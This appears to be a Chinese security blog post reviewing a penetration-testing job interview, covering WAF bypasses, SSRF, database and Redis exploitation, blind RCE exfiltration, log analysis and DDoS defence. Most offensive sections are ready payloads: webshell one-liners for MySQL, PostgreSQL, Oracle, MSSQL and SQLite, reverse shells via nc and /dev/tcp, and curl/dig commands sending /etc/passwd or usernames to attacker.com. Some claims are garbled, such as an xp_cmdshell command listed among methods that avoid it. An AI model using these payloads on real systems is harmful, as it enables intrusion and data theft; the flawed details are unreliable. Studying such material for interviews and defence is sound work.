网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
某四字大厂面试复盘 二面
一、文件上传绕过WAF的15种深度技巧
二、SSRF利用与WAF绕过的8种高阶手法
三、MSSQL无XP_CMDSHELL的6种拿Shell方法
四、无回显RCE的5种数据外带技术
五、数据库写Shell的跨平台方法
六、大型日志分析的7个关键步骤
七、Redis未授权的5大渗透场景
八、SYN FLOOD攻击的防御与检测
九、UDP反射放大的攻防全景
某四字大厂面试复盘扩展 二面
文件上传如何绕waf SSRF的利用和绕waf的手段 谈谈MSSQL如果XPCMDSHELL不能用怎么拿shell 遇到没回显的RCE怎么办 不能用SQLMAP的OS-SHELL,各种数据库如何写SHELL 给你一个比较大的日志,应该如何分析 redis未授权会导致哪些问题 讲讲SYN FLOOD原理,防御,检测手段 讲讲UDP反射放大的原理,防御,检测手段一、文件上传绕过WAF的15种深度技巧
- 内容检测绕过
- 文件头伪造:在恶意文件前添加合法文件头(如
GIF89a),绕过魔术数字检测。- 多文件合并:将WebShell嵌入图片尾部,利用PHP的
include函数包含执行。- 分块编码(Transfer-Encoding: chunked):拆解恶意代码为多个块,绕过正则匹配。
- 扩展名混淆
- 大小写变形:上传
.PhP或.Jsp%20(空格截断)。- 双重扩展名:
shell.jpg.php(部分WAF仅检测最后一个扩展名)。- 空字节注入:
shell.php%00.jpg(PHP 5.3前版本有效)。- MIME类型伪造
- 修改Content-Type:上传PHP文件时声明为
image/jpeg。- 多部分表单混淆:在
multipart/form-data中插入多个文件段干扰解析。- 协议层绕过
- HTTP/2流复用:利用多路传输特性绕过内容扫描。
- 分片传输(Teardrop攻击):发送重叠的TCP分片导致WAF重组错误。
- 高级混淆技术
- Unicode编码文件名:
shell.%u0070hp(部分WAF解码不一致)。- 动态参数化:通过JSON/XML传递文件内容,绕过表单字段检测。
- HTTPS加密传输:部分WAF无法解密TLS流量进行深度检测。
二、SSRF利用与WAF绕过的8种高阶手法
- 协议滥用
- Gopher协议:构造HTTP请求攻击内网服务(如Redis未授权写SSH密钥)。
- Dict协议:探测内网端口开放状态(
dict://127.0.0.1:6379/info)。- IP表示形式绕过
- 十进制IP:
2130706433→127.0.0.1。- IPv6缩写:
[::]等价于127.0.0.1。- 域名重解析:利用
xip.io(如127.0.0.1.xip.io)。- DNS重绑定攻击
- 短TTL域名:配置DNS记录在两次查询中返回不同IP(首次合法,第二次内网IP)。
- 多级CNAME:通过多次跳转绕过域名黑名单检测。
- URL编码与变形
- 双重编码:
%252F→%2F→/。- 利用#号:
http://attacker.com#@10.0.0.1(部分解析库忽略#后内容)。- 云服务元数据利用
- AWS IMDSv1绕过:通过
X-Forwarded-For头欺骗元数据服务(已修复,需IMDSv2)。- Kubernetes API:通过
/var/run/secrets/kubernetes.io/serviceaccount/token获取Pod权限。
三、MSSQL无XP_CMDSHELL的6种拿Shell方法
- CLR集成利用
- 编译C#执行命令的DLL,通过
CREATE ASSEMBLY加载并调用:sqlCREATE ASSEMBLY ExecCMD FROM 'C:\temp\cmd.dll'; CREATE PROCEDURE sp_cmd @cmd NVARCHAR(255) AS EXTERNAL NAME ExecCMD.StoredProcedures.CmdExec; EXEC sp_cmd 'whoami';- OLE自动化过程
- 启用
Ole Automation Procedures,通过sp_OACreate执行命令:sqlEXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; DECLARE @shell INT; EXEC sp_OACreate 'WScript.Shell', @shell OUTPUT; EXEC sp_OAMethod @shell, 'Run', NULL, 'cmd.exe /c whoami';- Python/R脚本扩展
- 启用外部脚本功能,执行Python反弹Shell:
sqlEXEC sp_execute_external_script @language = N'Python', @script = N'import os; os.system("nc -e /bin/sh 10.0.0.1 4444")';- 数据库错误信息外带
- 通过错误回显获取命令结果:
sqlBEGIN TRY DECLARE @var NVARCHAR(100) = (SELECT 'whoami' + 1); END TRY BEGIN CATCH SELECT ERROR_MESSAGE(); -- 返回 'whoami'命令结果 END CATCH- 日志文件写入WebShell
- 利用MSSQL的
xp_dirtree或xp_subdirs写入文件:sqlEXEC xp_cmdshell 'echo ^<%@ Page Language="C#" %>^<% System.Diagnostics.Process.Start("cmd.exe"); %> > C:\inetpub\wwwroot\shell.aspx';
四、无回显RCE的5种数据外带技术
- DNS外带
- Linux:
dig $(whoami).attacker.com- Windows:
nslookup %USERNAME%.attacker.com- HTTP请求外带
- 通过curl/wget发送数据到外部服务器:
bashcurl http://attacker.com/$(cat /etc/passwd | base64)- 时间盲注
- 利用命令执行延时判断结果:
bashif [ $(whoami) = "root" ]; then sleep 10; fi- 文件写入+读取组合
- 将结果写入临时文件,再通过其他漏洞读取:
bashwhoami > /tmp/result.txt && python -m SimpleHTTPServer 8000- ICMP隧道
- 使用工具如
icmpsh将数据封装在ICMP包中传输:bash./icmpsh_m.py attacker 受害者IP
五、数据库写Shell的跨平台方法
数据库类型 写Shell命令 利用条件 MySQL SELECT '<?php system($_GET[cmd]);?>' INTO OUTFILE '/var/www/shell.php';需要 FILE权限和secure_file_priv为空PostgreSQL COPY (SELECT '<?php system($_GET[cmd]);?>') TO '/var/www/shell.php';需要超级用户权限 Oracle UTL_FILE.PUT_TEXT('WEB_DIR', 'shell.jsp', '<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');需预先配置目录对象 MSSQL EXEC xp_cmdshell 'echo ^<^%^ @Language="JScript" %^>^ <% eval(Request.Item["cmd"]) ^%^> > C:\inetpub\wwwroot\cmd.aspx';需启用xp_cmdshell SQLite 通过ATTACH DATABASE写入Web目录: ATTACH DATABASE '/var/www/shell.php' AS evil;需Web目录可写
六、大型日志分析的7个关键步骤
- 高频IP筛选
- 使用
awk '{print $1}' access.log | sort | uniq -c | sort -nr统计可疑IP。- 状态码分析
- 过滤
404(扫描器特征)和5xx(潜在攻击成功)。- User-Agent检测
- 搜索非常规UA(如
sqlmap、nmap)。- 敏感路径监控
- 检查
/admin、/wp-login.php等路径的异常访问。- 攻击特征匹配
- 使用正则匹配
/etc/passwd、union select等关键字。- 会话关联分析
- 通过
sessionid或IP关联多次请求,识别扫描行为。- 时间序列异常
- 分析突发流量(如1分钟内1000次请求)可能为CC攻击。
七、Redis未授权的5大渗透场景
- 数据泄露
- 通过
keys *遍历所有键,获取敏感信息。- SSH密钥写入
- 利用
config set dir和config set dbfilename覆盖authorized_keys。- 主从复制RCE
- 设置恶意主节点,同步
.so模块实现代码执行。- Crontab任务注入
- 写入定时任务反弹Shell:
bashconfig set dir /var/spool/cron/crontabs/ set -e "\n* * * * * bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n"- 内网代理
- 通过Redis的
SLAVEOF命令将节点作为流量中转。
八、SYN FLOOD攻击的防御与检测
- 攻击原理
- 发送大量伪造源IP的SYN包,耗尽服务器半连接队列。
- 防御手段
- SYN Cookie:无状态处理SYN请求,仅在ACK验证后分配资源。
- 首包丢弃:随机丢弃部分SYN包,迫使攻击者重传消耗资源。
- 限速策略:通过iptables限制单个IP的SYN速率:
bashiptables -A INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT- 检测方法
- netstat统计:
netstat -n | grep SYN_RECV | wc -l- 流量分析:监控SYN包与ACK包的比例异常(正常约为1:1)。
九、UDP反射放大的攻防全景
- 攻击原理
- 利用UDP协议无连接特性,伪造受害者IP向开放服务(如NTP、DNS)发送请求,触发远大于请求的数据包(放大倍数可达500倍)。
- 常见反射源
- NTP(Monlist):
monlist请求返回600字节,放大倍数200x。- DNS(ANY查询):返回包含所有记录的响应包。
- Memcached:通过
get请求触发大体积数据返回(曾导致1.7Tbps攻击)。- 防御策略
- 关闭无用UDP服务:禁用NTP的
monlist功能。- 入口过滤(BCP38):ISP端配置ACL阻止伪造IP流量。
- 限速与黑洞:在边界路由器对异常流量实施限速或黑洞路由。
- 检测技术
- 流量基线对比:识别短时间内UDP流量突增。
- 源端口分析:反射攻击通常使用固定源端口(如NTP的123端口)。
